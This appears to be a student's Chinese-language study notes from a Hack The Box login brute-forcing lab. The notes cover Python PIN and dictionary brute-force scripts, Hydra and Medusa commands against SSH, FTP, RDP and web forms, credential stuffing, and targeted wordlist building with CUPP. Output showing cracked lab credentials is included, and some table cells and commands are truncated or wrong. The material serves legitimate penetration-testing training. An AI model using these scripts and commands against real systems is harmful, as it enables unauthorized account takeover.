11 - Login Brute Forcing

Cracking the PIN

实例应用程序生成一个随机的 4 位 PIN 并公开一个接受 PIN 作为查询参数的终端节点（`/pin`）。如果提供的 PIN 与生成的 PIN 匹配，则应用程序会使用成功消息和标志进行响应。否则，它将返回错误消息。
我们将使用这个简单的演示 Python 脚本对 API 上的 `/pin` 端点进行暴力破解。将此 Python 脚本作为 `pin-solver.py` 复制并粘贴到您的计算机上。您只需修改 IP 和 port 变量以匹配您的目标系统信息。

```
import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit
string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")

    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin=
{formatted_pin}")

    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status
code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break
```

Python 脚本系统地迭代所有可能的 4 位数 PIN（0000 到 9999），并使用每个 PIN 向 Flask 终端节点发送 GET 请求。它会检查响应状态代码和内容，以识别正确的 PIN 并捕获关联的标志。

```
Chenduoduo@htb[/htb]$ python pin-solver.py

...
Attempted PIN: 4039
```

```
Attempted PIN: 4040
Attempted PIN: 4041
Attempted PIN: 4042
Attempted PIN: 4043
Attempted PIN: 4044
Attempted PIN: 4045
Attempted PIN: 4046
Attempted PIN: 4047
Attempted PIN: 4048
Attempted PIN: 4049
Attempted PIN: 4050
Attempted PIN: 4051
Attempted PIN: 4052
Correct PIN found: 4053
Flag: HTB{ ... }
```

字典攻击

dictionary-solver.py

```
import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Download a list of common passwords from the web and split it into
lines
passwords =
requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/
refs/heads/master/Passwords/Common-Credentials/500-worst-
passwords.txt").text.splitlines()

# Try each password from the list
for password in passwords:
    print(f"Attempted password: {password}")

    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data=
{'password': password})

    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
```

```
        print(f"Flag: {response.json()['flag']}")
        break
```

Hybrid Attacks

攻击者首先发起字典攻击，使用由常用密码、行业特定术语以及与组织或其员工相关的潜在个人信息策划的单词列表。此阶段尝试快速识别任何唾手可得的果实 - 受弱密码或容易猜到的密码保护的帐户。
但是，如果字典攻击被证明不成功，混合攻击将无缝过渡到暴力模式。它不是随机生成密码组合，而是战略性地修改原始单词列表中的单词，附加数字、特殊字符，甚至递增年份，就像我们的 “Summer2023” 示例一样。
与传统的暴力攻击相比，这种有针对性的暴力破解方法大大减少了搜索空间，同时涵盖了用户可能为遵守密码更改策略而使用的许多潜在密码变体。

要仅提取符合此策略的密码，我们可以利用大多数基于 Linux/Unix 的系统默认提供的强大命令行工具，特别是与 `regex 配对的 grep`。为此，我们将使用 darkweb2017-top10000.txt 密码列表。首先，下载 wordlist

```
Chenduoduo@htb[/htb]$ wget
https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/mas
ter/Passwords/Common-Credentials/darkweb2017_top-10000.txt
```

需要开始将该单词列表与密码策略进行匹配。

```
Chenduoduo@htb[/htb]$ grep -E '^.{8,}$' darkweb2017-top10000.txt >
darkweb2017-minlength.txt
```

此初始 `grep` 命令针对最小密码长度为 8 个字符的核心策略要求。正则表达式 `^.{8,}$` 充当过滤器，确保只有包含至少 8 个字符的密码被传递并保存在名为 `darkweb2017-minlength.txt` 的临时文件中。

```
Chenduoduo@htb[/htb]$ grep -E '[A-Z]' darkweb2017-minlength.txt >
darkweb2017-uppercase.txt
```

在前面的过滤器的基础上，此 `grep` 命令强制策略要求至少使用一个大写字母。正则表达式 `[A-Z]` 可确保丢弃任何缺少大写字母的密码，从而进一步优化保存在 `darkweb2017-uppercase.txt` 中的列表。

```
Chenduoduo@htb[/htb]$ grep -E '[a-z]' darkweb2017-uppercase.txt >
darkweb2017-lowercase.txt
```

此 `grep` 命令维护过滤链，可确保符合策略对至少一个小写字母的要求。正则表达式 `[a-z]` 用作过滤器，仅保留至少包含一个小写字母的密码并将其存储在 `darkweb2017-lowercase.txt` 中。

```
Chenduoduo@htb[/htb]$ grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt
```

最后一个 `grep` 命令解决了策略的数值要求。正则表达式 `[0-9]` 充当过滤器，确保在 `darkweb2017-number.txt` 中保留包含至少一个数字的密码。

```
Chenduoduo@htb[/htb]$ wc -l darkweb2017-number.txt

89 darkweb2017-number.txt
```

撞库：利用被盗数据进行未经授权的访问

撞库攻击利用了许多用户在多个在线帐户中重复使用密码的不幸现实。这种普遍的做法通常是出于对便利的渴望和管理大量独特凭证的挑战，为攻击者创造了可利用的沃土。

这是一个多阶段过程，从攻击者获取被盗用用户名和密码的列表开始。这些列表可能源于大规模数据泄露，也可能是通过网络钓鱼诈骗和恶意软件编制的。值得注意的是，
像 `rockyou` 或 `seclists` 中发现的那些公开可用的单词列表也可以作为一个起点，为攻击者提供大量常用密码。

一旦掌握了这些凭证，攻击者就可以识别潜在目标 - 他们拥有信息的个人可能使用的在线服务。社交媒体、电子邮件提供商、网上银行和电子商务网站由于通常持有敏感数据而成为主要目标。

Hydra

Hydra Service Hydra 服务	Service/Protocol 服务/协议	Description 描述	Example Command 示例命令
ftp FTP （英文）	File Transfer Protocol (FTP) 文件传输协议（FTP）	Used to brute-force login credentials for FTP services, commonly used to transfer files over a network. 用于暴力破解	`hydra -l admin -P /path/to/ ftp://192.168.1.100`

Hydra Service Hydra 服务	Service/Protocol 服务/协议	Description 描述	Example Command 示例命令
		FTP 服务的登录凭据，通常用于通过网络传输文件。	
ssh	Secure Shell (SSH) 安全外壳（SSH）	Targets SSH services to brute-force credentials, commonly used for secure remote login to systems. 将 SSH 服务定位为暴力破解凭据，通常用于安全远程登录系统。	`hydra -l root -P /path/to/p ssh://192.168.1.100`
http-get/post	HTTP Web Services HTTP Web 服务	Used to brute-force login credentials for HTTP web login forms using either GET or POST requests. 用于使用 GET 或 POST 请求暴力破解 HTTP Web 登录表单的登录凭据。	`hydra -l admin -P /path/to/ http-post-form "/login.php:user=^USER^&pas`
smtp SMTP（SMTP）	Simple Mail Transfer Protocol 简单邮件传输协议	Attacks email servers by brute-forcing login credentials for SMTP, commonly used to send emails. 通过暴力破解	`hydra -l admin -P /path/to/ smtp://mail.server.com`

Hydra Service Hydra 服务	Service/Protocol 服务/协议	Description 描述	Example Command 示例命令
		SMTP 的登录凭据（通常用于发送电子邮件）来攻击电子邮件服务器。	

pop3	Post Office Protocol (POP3)
	邮局协议 （POP3）
		Targets email retrieval services to brute-force credentials for POP3 login.
		将电子邮件检索服务定位为用于 POP3 登录的暴力破解凭证。
			`hydra -l user@example.com -`
			`/path/to/password_list.txt`
			`pop3://mail.server.com`

imap IMAP 公司	Internet Message Access Protocol
	Internet 消息访问协议
		Used to brute-force credentials for IMAP services, which allow users to access their email remotely.
		
		用于暴力破解 IMAP 服务的凭据，允许用户远程访问其电子邮件。
			`hydra -l user@example.com -`
			`/path/to/password_list.txt`
			`imap://mail.server.com`

mysql MySQL 的	MySQL Database MySQL 数据库	Attempts to brute-force login credentials for MySQL databases. 尝试暴力破解 MySQL 数据库的登录凭据。	`hydra -l root -P /path/to/p` `mysql://192.168.1.100`

Hydra Service Hydra 服务	Service/Protocol 服务/协议	Description 描述	Example Command 示例命令
mssql	Microsoft SQL Server Microsoft SQL 服务器	Targets Microsoft SQL servers to brute-force database login credentials. 将 Microsoft SQL Server 定位为暴力破解数据库登录凭据。	`hydra -l sa -P /path/to/pas mssql://192.168.1.100`
vnc	Virtual Network Computing (VNC) 虚拟网络计算（VNC）	Brute-forces VNC services, used for remote desktop access. 用于远程桌面访问的暴力 VNC 服务。	`hydra -P /path/to/password_ vnc://192.168.1.100`
rdp	Remote Desktop Protocol (RDP) 远程桌面协议（RDP）	Targets Microsoft RDP services for remote login brute-forcing. 以 Microsoft RDP 服务为目标进行远程登录暴力破解。	`hydra -l admin -P /path/to/ rdp://192.168.1.100`

暴力破解 HTTP 身份验证

假设您的任务是在 `www.example.com` 使用基本的 HTTP 身份验证测试网站的安全性。您有一个存储在 `usernames.txt` 中的潜在用户名列表，在 `passwords.txt` 中存储了相应的密码。要对此 HTTP 服务发起暴力攻击，请使用以下 Hydra 命令：

```
Chenduoduo@htb[/htb]$ hydra -L usernames.txt -P passwords.txt
www.example.com http-get
```

使用 `http-get` 模块测试 HTTP 身份验证。

以多个 SSH 服务器为目标

考虑这样一种情况：您确定了几个可能容易受到 SSH 暴力攻击的服务器。您将它们的 IP 地址编译到一个名为 `targets.txt` 的文件中，并知道这些服务器可能会使用默认用户名 “root” 和密码 “toor”。要同时有效地测试所有这些服务器，请使用以下 Hydra 命令：

```
Chenduoduo@htb[/htb]$ hydra -l root -p toor -M targets.txt ssh
```

在非标准端口上测试 FTP 凭证

假设您需要评估托管在 `ftp.example.com` 的 FTP 服务器的安全性，该服务器在非标准端口 `2121` 上运行。您有分别存储在 `usernames.txt` 和 `passwords.txt` 中的潜在用户名和密码列表。要针对 FTP 服务测试这些凭证，请使用以下 Hydra 命令：

```
Chenduoduo@htb[/htb]$ hydra -L usernames.txt -P passwords.txt -s 2121 -V
ftp.example.com ftp
```

暴力破解 Web 登录表单

假设您的任务是在 `www.example.com` 的 Web 应用程序上暴力破解登录表单。您知道用户名是 “admin”，登录的表单参数是 `user=^USER^&pass=^PASS^`。要执行此攻击，请使用以下 Hydra 命令：

```
Chenduoduo@htb[/htb]$ hydra -l admin -P passwords.txt www.example.com
http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
```

高级 RDP 暴力破解

现在，假设您正在 IP 为 `192.168.1.100` 的服务器上测试远程桌面协议 （RDP） 服务。您怀疑用户名是 “administrator”，并且密码由 6 到 8 个字符组成，包括小写字母、大写字母和数字。要执行此精确攻击，请使用以下 Hydra 命令：

```
Chenduoduo@htb[/htb]$ hydra -l administrator -x
6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
192.168.1.100 rdp
```

通过 Hydra Exploting Basic Auth

我们将使用 `http-get` hydra 服务对基本身份验证目标进行暴力破解。
在此方案中，生成的目标实例采用基本 HTTP 身份验证。我们已经知道用户名是 `basic-auth-user`。由于我们知道用户名，因此我们可以简化 Hydra 命令，只专注于暴力破解密码。以下是我们将使用的命令：

```
# Download wordlist if needed
Chenduoduo@htb[/htb]$ curl -s -O
https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/mas
ter/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
# Hydra command
Chenduoduo@htb[/htb]$ hydra -l basic-auth-user -P 2023-
200_most_used_passwords.txt 83.136.249.246 http-get / -s 45554

...
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-
09 16:04:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries
(l:1/p:200), ~13 tries per task
[DATA] attacking http-get://127.0.0.1:81/
[81][http-get] host: 127.0.0.1   login: basic-auth-user   password: ...
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-
09 16:04:32
```

- `-l basic-auth-user`：这指定登录尝试的用户名是 'basic-auth-user'。
- `-P 2023-200_most_used_passwords.txt` ：这表示 Hydra 应使用文件 '2023-200_most_used_passwords.txt' 中包含的密码列表进行暴力攻击。
- `127.0.0.1`：这是目标 IP 地址，在本例中为本地计算机 （localhost）。
- `http-get /`：这告诉 Hydra 目标服务是 HTTP 服务器，应使用对根路径（“/”）的 HTTP GET 请求来执行攻击。
- `-s 81`：这将覆盖 HTTP 服务的默认端口并将其设置为 81。

http://94.237.54.192:47740/pin?pin={formatted_pin}

```
def create_pin_dictionary(filename="pin_dictionary.txt"):
    """
    创建一个包含从 0000 到 9999 所有四位数字组合的字典文件。
```

```
    Args:
        filename (str): 要创建的字典文件的名称。默认为 "pin_dictionary.txt"。
    """
    try:
        with open(filename, 'w') as f:
            for i in range(10000):
                # 使用 f-string 格式化数字，确保它是四位数，不足四位时前面补零
                formatted_pin = f"{i:04d}"
                f.write(formatted_pin + '\n')
        print(f"成功创建字典文件: '{filename}'，包含从 0000 到 9999 的所有 PIN
码。")
    except IOError as e:
        print(f"创建文件时发生错误: {e}")

# 调用函数来创建字典文件
if __name__ == "__main__":
    create_pin_dictionary()
```

Login Forms

基本登录表单示例

```
<form action="/login" method="post">
  <label for="username">Username:</label>
  <input type="text" id="username" name="username"><br><br>
  <label for="password">Password:</label>
  <input type="password" id="password" name="password"><br><br>
  <input type="submit" value="Submit">
</form>
```

此表单在提交时，会向服务器上的 `/login` 端点发送 POST 请求，包括输入的用户名和密码作为表单数据。

```
POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=john&password=secret123
```

- `POST` 方法指示正在将数据发送到服务器以创建或更新资源。
- `/login` 是处理登录请求的 URL 端点。

- `Content-Type` 标头指定数据在请求正文中的编码方式。
- `Content-Length` 标头指示所发送数据的大小。
- 请求正文包含编码为键值对的用户名和密码。

使用 `http-post-form` 的 Hydra 命令的一般结构如下所示：

```
Chenduoduo@htb[/htb]$ hydra [options] target http-post-form
"path:params:condition_string"
```

在 Hydra 的 `http-post-form` 模块中，成功和失败条件对于正确识别有效和无效的登录尝试至关重要。Hydra 主要依靠失败条件 （`F=...`） 来确定登录尝试何时失败，但您也可以指定成功条件 （`S=...`） 来指示登录何时成功。
失败条件 （`F=...`） 用于检查服务器响应中指示登录尝试失败的特定字符串。这是最常见的方法，因为许多网站在登录失败时会返回错误消息（如“用户名或密码无效”）。例如，如果登录表单在尝试失败时返回消息 “Invalid credentials”，您可以像这样配置 Hydra：

```
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid
credentials"
```

但是，有时您可能没有明确的失败消息，而是有一个明显的成功条件。例如，如果应用程序在成功登录后重定向用户（使用 HTTP 状态代码 `302`），或显示特定内容（如“Dashboard”或“Welcome”），则可以配置 Hydra 以使用 `S=` 查找该成功条件。下面是一个成功登录导致 302 重定向的示例：

```
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
```

在这种情况下，Hydra 会将任何返回 HTTP 302 状态代码的响应视为成功登录。同样，如果成功登录导致页面上出现 “Dashboard” 等内容，则可以配置 Hydra 以查找该关键字作为成功条件：

```
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard"
```

Manual Inspection 人工检查
在浏览器中访问 `IP: PORT` 后，会显示一个基本的登录表单。使用浏览器的开发人员工具（通常通过右键单击并选择“检查”或类似选项），您可以查看此表单的基础 HTML 代码。让我们分解它的关键组成部分：

```
<form method="POST">
    <h2>Login</h2>
    <label for="username">Username:</label>
    <input type="text" id="username" name="username">
```

```
    <label for="password">Password:</label>
    <input type="password" id="password" name="password">
    <input type="submit" value="Login">
</form>
```

HTML 显示一个简单的登录表单。Hydra 的要点：

- `方法`：`POST` - Hydra 需要向服务器发送 POST 请求。
- Fields: 领域：
  - `用户名`：将定位名为 `username` 的输入字段。
  - `Password`：将定位名为 `password` 的输入字段。

```
# Download wordlists if needed
Chenduoduo@htb[/htb]$ curl -s -O
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernam
es/top-usernames-shortlist.txt
Chenduoduo@htb[/htb]$ curl -s -O
https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/mas
ter/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
# Hydra command
Chenduoduo@htb[/htb]$ hydra -L top-usernames-shortlist.txt -P 2023-
200_most_used_passwords.txt -f 94.237.54.192 -s 47473 http-post-form
"/:username=^USER^&password=^PASS^:F=Invalid credentials"

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-
05 12:51:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3400 login tries
(l:17/p:200), ~213 tries per task
[DATA] attacking http-post-
form://IP:PORT/:username=^USER^&password=^PASS^:F=Invalid credentials
[5000][http-post-form] host: IP   login: ...   password: ...
[STATUS] attack finished for IP (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-
05 12:51:28
```

Medusa

```
Chenduoduo@htb[/htb]$ medusa [target_options] [credential_options] -M
module [module_options]
```

Parameter 参数	Explanation 解释	Usage Example 使用示例
`-h HOST` or `-H FILE` `-h 主机` 或 `-H 文件`	Target options: Specify either a single target hostname or IP address (`-h`) or a file containing a list of targets (`-H`). 目标选项：指定单个目标主机名或 IP 地址 （`-h`） 或包含目标列表的文件 （`-H`）。	`medusa -h 192.168.1.10 ...` or `medusa targets.txt ...` `美杜莎 -H 192.168.1.10 ...` 或 `美杜莎 -H ...`
`-u USERNAME` or `-U FILE` `-u 用户名` 或 `-U 文件`	Username options: Provide either a single username (`-u`) or a file containing a list of usernames (`-U`). 用户名选项：提供单个用户名 （`-u`） 或包含用户名列表 （`-U`） 的文件。	`medusa -u admin ...` or `medusa -U use` `美杜莎 -u 管理员 ...` 或 `美杜莎 -U userna`
`-p PASSWORD` or `-P FILE` `-p 密码` 或 `-P 文件`	Password options: Specify either a single password (`-p`) or a file containing a list of passwords (`-P`). 密码选项：指定单个密码 （`-p`） 或包含密码列表的文件 （`-P`）。	`medusa -p password123 ...` or `medusa passwords.txt ...` `美杜莎 -p 密码 123 ...` 或 `medusa-P pas`
`-M MODULE`	Module: Define the specific module to use for the attack (e.g., `ssh`, `ftp`, `http`). 模块：定义用于攻击的特定模块（例如， `ssh`、 `ftp`、 `http`）。	`medusa -M ssh ...`
`-m "MODULE_OPTION"`	Module options: Provide additional parameters required by the chosen module, enclosed in quotes. Module options：提供所	`medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nC application/x-www-form-urlencoded\r\n\r\nusername=^USER^&p ...`

Parameter 参数	Explanation 解释	Usage Example 使用示例
	选模块所需的其他参数，用引号括起来。	
`-t TASKS`	Tasks: Define the number of parallel login attempts to run, potentially speeding up the attack. 任务：定义要运行的并行登录尝试次数，这可能会加快攻击速度。	`medusa -t 4 ...`
`-f` or `-F` `-f` 或 `-F`	Fast mode: Stop the attack after the first successful login is found, either on the current host (`-f`) or any host (`-F`). 快速模式：在找到第一次成功登录后停止攻击，无论是在当前主机（`-f`）还是在任何主机（`-F`）上。	`medusa -f ...` or `medusa -F ...` `美杜莎 -f ...` 或 `美杜莎 -F ...`
`-n PORT`	Port: Specify a non-default port for the target service. 端口：指定目标服务的非默认端口。	`medusa -n 2222 ...`
`-v LEVEL`	Verbose output: Display detailed information about the attack's progress. The higher the `LEVEL` (up to 6), the more verbose the output. 详细输出：显示有关攻击进度的详细信息。`LEVEL` 越高（最多 6），输出越详细。	`medusa -v 4 ...`

Medusa Modules 美杜莎模块

Medusa Module 美杜莎模块	Service/Protocol 服务/协议	Description 描述	Usage Example 使用示例
FTP	File Transfer Protocol 文件传输协议	Brute-forcing FTP login credentials, used for file transfers over a network. 暴力破解 FTP 登录凭据，用于通过网络传输文件。	`medusa -M ftp -h 192.1(` `passwords.txt`
HTTP	Hypertext Transfer Protocol 超文本传输协议	Brute-forcing login forms on web applications over HTTP (GET/POST). 通过 HTTP 对 Web 应用程序进行暴力破解登录表单（GET/POST）。	`medusa -M http -h www.(` `P passwords.txt -m DIR` `FORM:username=^USER^&pa`
IMAP	Internet Message Access Protocol Internet 消息访问协议	Brute-forcing IMAP logins, often used to access email servers. 暴力破解 IMAP 登录，通常用于访问电子邮件服务器。	`medusa -M imap -h mail` `-P passwords.txt`
MySQL MySQL（MySQL 的	MySQL Database MySQL 数据库	Brute-forcing MySQL database credentials, commonly used for web applications and databases. 暴力破解 MySQL 数据库凭证，通常用于 Web 应用程序和数据库。	`medusa -M mysql -h 192` `passwords.txt`
POP3	Post Office Protocol 3 邮局协议 3	Brute-forcing POP3 logins, typically used to retrieve emails	`medusa -M pop3 -h mail` `-P passwords.txt`

Medusa Module 美杜莎模块	Service/Protocol 服务/协议	Description 描述	Usage Example 使用示例
		from a mail server. 暴力破解 POP3 登录，通常用于从邮件服务器检索电子邮件。	
RDP	Remote Desktop Protocol 远程桌面协议	Brute-forcing RDP logins, commonly used for remote desktop access to Windows systems. 暴力破解 RDP 登录，通常用于对 Windows 系统的远程桌面访问。	`medusa -M rdp -h 192.1(` `passwords.txt`
SSHv2	Secure Shell (SSH) 安全外壳（SSH）	Brute-forcing SSH logins, commonly used for secure remote access. 暴力破解 SSH 登录，通常用于安全远程访问。	`medusa -M ssh -h 192.1(` `passwords.txt`
Subversion (SVN) Subversion（SVN）	Version Control System 版本控制系统	Brute-forcing Subversion (SVN) repositories for version control. 用于版本控制的暴力破解 Subversion（SVN）存储库。	`medusa -M svn -h 192.1(` `passwords.txt`
Telnet Telnet 远程登录	Telnet Protocol Telnet 协议	Brute-forcing Telnet services for remote command execution on older systems. 用于在旧系统上远	`medusa -M telnet -h 19` `passwords.txt`

Medusa Module 美杜莎模块	Service/Protocol 服务/协议	Description 描述	Usage Example 使用示例
		程执行命令的暴力破解 Telnet 服务。	
VNC	Virtual Network Computing 虚拟网络计算	Brute-forcing VNC login credentials for remote desktop access. 用于远程桌面访问的暴力破解 VNC 登录凭证。	`medusa -M vnc -h 192.1`
Web Form Web 表单	Brute-forcing Web Login Forms 暴力破解 Web 登录表单	Brute-forcing login forms on websites using HTTP POST requests. 使用 HTTP POST 请求的网站上的暴力登录表单。	`medusa -M web-form -h` `users.txt -P passwords` `FORM:"username=^USER^&`

以 SSH 服务器为目标

假设您需要在 `192.168.0.100` 上测试 SSH 服务器的安全性。您在 `usernames.txt` 中有一个潜在用户名列表，在 `passwords.txt` 中有一个常用密码列表。要对此服务器上的 SSH 服务发起暴力攻击，请使用以下 Medusa 命令：

```
Chenduoduo@htb[/htb]$ medusa -h 192.168.0.100 -U usernames.txt -P
passwords.txt -M ssh
```

```
medusa -h 94.237.59.174 -u sshuser -P 2023-200_most_used_passwords.txt -
M ssh -t 6
```

使用基本 HTTP 身份验证以多个 Web 服务器为目标

假设您有一个使用基本 HTTP 身份验证的 Web 服务器列表。这些服务器的地址存储在 `web_servers.txt` 中，您还分别在 `usernames.txt` 和 `passwords.txt` 中拥有常用用户名和密码列表。要同时测试这些服务器，请执行：

```
Chenduoduo@htb[/htb]$ medusa -H web_servers.txt -U usernames.txt -P
```

```
passwords.txt -M http -m GET
```

测试空密码或默认密码

```
Chenduoduo@htb[/htb]$ medusa -h 10.0.0.5 -U usernames.txt -e ns -M
service_name
```

攻击Web ssh服务

```
Chenduoduo@htb[/htb]$ medusa -h IP -n PORT -u sshuser -P 2023-
200_most_used_passwords.txt -M ssh -t 3

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>
...
ACCOUNT FOUND: [ssh] Host: IP User: sshuser Password: 1q2w3e4r5t
[SUCCESS]
```

2025-06-13 11:38:37 ACCOUNT FOUND: [ssh] Host: 94.237.59.174 User: sshuser Password: 1q2w3e4r5t [SUCCESS]

Gaining Access 进入

```
Chenduoduo@htb[/htb]$ ssh sshuser@<IP> -p PORT
```

扩大攻击面

```
Chenduoduo@htb[/htb]$ netstat -tulpn | grep LISTEN

tcp        0      0 0.0.0.0:22              0.0.0.0:*
LISTEN      -
tcp6       0      0 :::22                   :::*
LISTEN      -
tcp6       0      0 :::21                   :::*
LISTEN      -
```

```
Chenduoduo@htb[/htb]$ nmap localhost

Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-05 13:19 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000078s latency).
```

```
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
```

Targeting the FTP Server

以 FTP 服务器为目标

如果我们浏览目标系统上的 `/home` 目录，我们会看到一个 `ftpuser` 文件夹，这意味着 FTP 服务器用户名可能是 `ftpuser`。基于此，我们可以相应地修改我们的 Medusa 命令：

```
Chenduoduo@htb[/htb]$ medusa -h 94.237.48.12 -u ftpuser -P 2023-
200_most_used_passwords.txt -M ftp -t 5

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 5
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 197
...
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ... Password: ... [SUCCESS]
...
GENERAL: Medusa has finished.
```

medusa -h 94.237.57.57 -P 54307 -u admin -P /path/to/your/password_list.txt -M http -m "AUTH:Basic" -t 10

成功破解 FTP 密码后，建立 FTP 连接。在 FTP 会话中，使用 `get` 命令下载 `flag.txt` 文件，该文件可能包含敏感信息。

```
Chenduoduo@htb[/htb]$ ftp ftp://ftpuser:94.237.59.174@localhost

Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

```
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||25926|)
150 Here comes the directory listing.
-rw————————    1 1001     1001           35 Sep 05 13:17 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||37251|)
150 Opening BINARY mode data connection for flag.txt (35 bytes).
100%
|***********************************************************************
****|    35      776.81 KiB/s    00:00 ETA
226 Transfer complete.
35 bytes received in 00:00 (131.45 KiB/s)
ftp> exit
221 Goodbye.
```

Custom Wordlists

username-anarchy

```
Chenduoduo@htb[/htb]$ sudo apt install ruby -y
Chenduoduo@htb[/htb]$ git clone
https://github.com/urbanadventurer/username-anarchy.git
Chenduoduo@htb[/htb]$ cd username-anarchy
```

Next, execute it with the target's first and last names. This will generate possible username combinations.

```
Chenduoduo@htb[/htb]$ ./username-anarchy Jane Smith >
jane_smith_usernames.txt

┌──(chenduoduo㉿kali24)-[~/Desktop/password_attack/username-anarchy]
└─$ cat jane_smith_username.txt
jane
janesmith
jane.smith
janesmit
janes
j.smith
jsmith
sjane
```

```
s.jane
smithj
smith
smith.j
smith.jane
js
```

CUPP

(Common User Passwords Profiler)

```
Chenduoduo@htb[/htb]$ cupp -i


___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--||  *     [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Jane
> Surname: Smith
> Nickname: Janey
> Birthdate (DDMMYYYY): 11121990


> Partners) name: Jim
> Partners) nickname: Jimbo
> Partners) birthdate (DDMMYYYY): 12121990


> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name: Spot
> Company name: AHI
```

```
> Do you want to add some key words about the victim? Y/[N]: y
> Please enter the words, separated by comma. [i.e. hacker,juice,black],
spaces will be removed: hacker,blue
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary ...
[+] Sorting list and removing duplicates ...
[+] Saving dictionary to jane.txt, counting 46790 words.
[+] Now load your pistolero with jane.txt and shoot! Good luck!
```

```
Chenduoduo@htb[/htb]$ grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' |
grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-
filtered.txt
```

```
Chenduoduo@htb[/htb]$ hydra -L usernames.list -P jane-filtered.txt
94.237.51.163 -s 43288 -f http-post-form
"/:username=^USER^&password=^PASS^:Invalid credentials"

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal purposes
(this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-
05 11:47:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 655060 login tries
(l:14/p:46790), ~40942 tries per task
[DATA] attacking http-post-
form://IP:PORT/:username=^USER^&password=^PASS^:Invalid credentials
[PORT][http-post-form] host: IP   login: ...   password: ...
[STATUS] attack finished for IP (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-
05 11:47:18
```

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 94.237.57.57 -s 54307 http-get /

```
hydra -L ./top-usernames-shortlist.txt -F ./2023-200_most_used_passwords.txt 94.237.57.57 http-get / -s 54307
```